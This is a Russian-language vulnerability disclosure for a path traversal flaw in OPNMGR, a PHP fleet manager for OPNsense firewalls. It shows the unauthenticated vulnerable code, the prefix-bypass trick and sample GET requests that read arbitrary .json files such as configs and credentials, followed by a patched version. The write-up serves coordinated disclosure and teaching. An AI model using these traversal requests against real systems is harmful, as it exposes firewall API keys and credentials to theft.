
Proof-of-concept и разбор CVE-2026-103978 — неаутентифицированный обход пути в snyk_scan_progress.php OPNMGR, позволяющий читать произвольные .json-файлы.
Чтение произвольных .json-файлов без необходимости входа в систему. Обнаружено при чтении
исходного кода agit8or1/OPNMGR — менеджера парка OPNsense,
написанного на PHP.
| CVE | CVE-2026-103978 |
| Advisory | GHSA-8x7v-vwpx-3wr7 |
| Класс | CWE-22 (Path Traversal) |
| Аутентификация | отсутствует |
| CVSS v3.1 | 7.5 High (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) |
| CVSS v4.0 | 8.7 High |
| Исправлено в | v3.10.0 |
| Автор | Kanarat Kaeothong (Axiom0x) |
snyk_scan_progress.php лежит в корне веб-сервера, берёт scan_id прямо из
строки запроса, подставляет его в путь к файлу и передаёт результат в
file_get_contents(). Здесь нет ни подключения аутентификации, ни проверки сессии, ни
санитизации параметра.
<?php
header('Content-Type: application/json');
$scan_id = $_GET['scan_id'] ?? ''; // unauthenticated, raw
if (empty($scan_id)) { echo json_encode(['error' => 'No scan ID provided']); exit; }
$progress_file = "/tmp/snyk_scan_{$scan_id}.json"; // string concat, nothing else
if (!file_exists($progress_file)) { echo json_encode(['error' => 'Scan not found']); exit; }
$progress_data = file_get_contents($progress_file);
echo $progress_data; // sent back to the caller
Все остальные эндпоинты приложения подключают inc/bootstrap.php и вызывают
requireLogin() перед любыми действиями. Этот пропускает всё это. Таким образом, scan_id
контролируется атакующим, подставляется в путь дословно, а содержимое файла
возвращается в ответе.
Одна загвоздка: префикс snyk_scan_ приклеивается к тому, что вы отправите, поэтому payload,
начинающийся с .., съедается (snyk_scan_.. — это просто странное имя файла в /tmp).
Сначала нужен одноразовый сегмент, чтобы .. действительно стал переходом в родительский
каталог:
/tmp/snyk_scan_ + x/../../etc/passwd -> /tmp/snyk_scan_x/../../etc/passwd
-> /etc/passwd.json
Завершающий .json навязывается кодом, а трюка с нулевым байтом в
современном PHP нет, поэтому можно читать только файлы, оканчивающиеся на .json. В реальном
развёртывании PHP это не такое уж большое ограничение. Конфигурационные файлы, ключи сервисных
аккаунтов, composer auth.json, облачные учётные данные — большая часть интересного уже
имеет расширение .json.
GET /snyk_scan_progress.php?scan_id=x/../../var/www/opnsense/config
-> returns /var/www/opnsense/config.json
GET /snyk_scan_progress.php?scan_id=x/../../../../etc/some_config
-> walks to filesystem root, returns /etc/some_config.json
Рабочая версия находится в poc/poc.sh.
Любой файл, оканчивающийся на .json, который может прочитать www-data, раскрывается любому, кто может
достучаться до страницы. На машине, управляющей межсетевыми экранами OPNsense, это обычно означает
API-ключи и учётные данные.
Добавьте подключение аутентификации, которое использует остальная часть приложения, и проверяйте scan_id
по строгому белому списку перед построением пути:
require_once __DIR__ . '/inc/bootstrap.php';
requireLogin();
$scan_id = $_GET['scan_id'] ?? '';
if (!preg_match('/^[A-Za-z0-9_-]{1,64}$/', $scan_id)) {
http_response_code(400);
echo json_encode(['error' => 'Invalid scan id']);
exit;
}
$progress_file = '/tmp/snyk_scan_' . $scan_id . '.json';
Сопровождающий выпустил исправление в v3.10.0.
Сообщено в рамках скоординированного раскрытия. Уязвимая версия больше не является текущим релизом. Разбор приведён здесь для справки и обучения.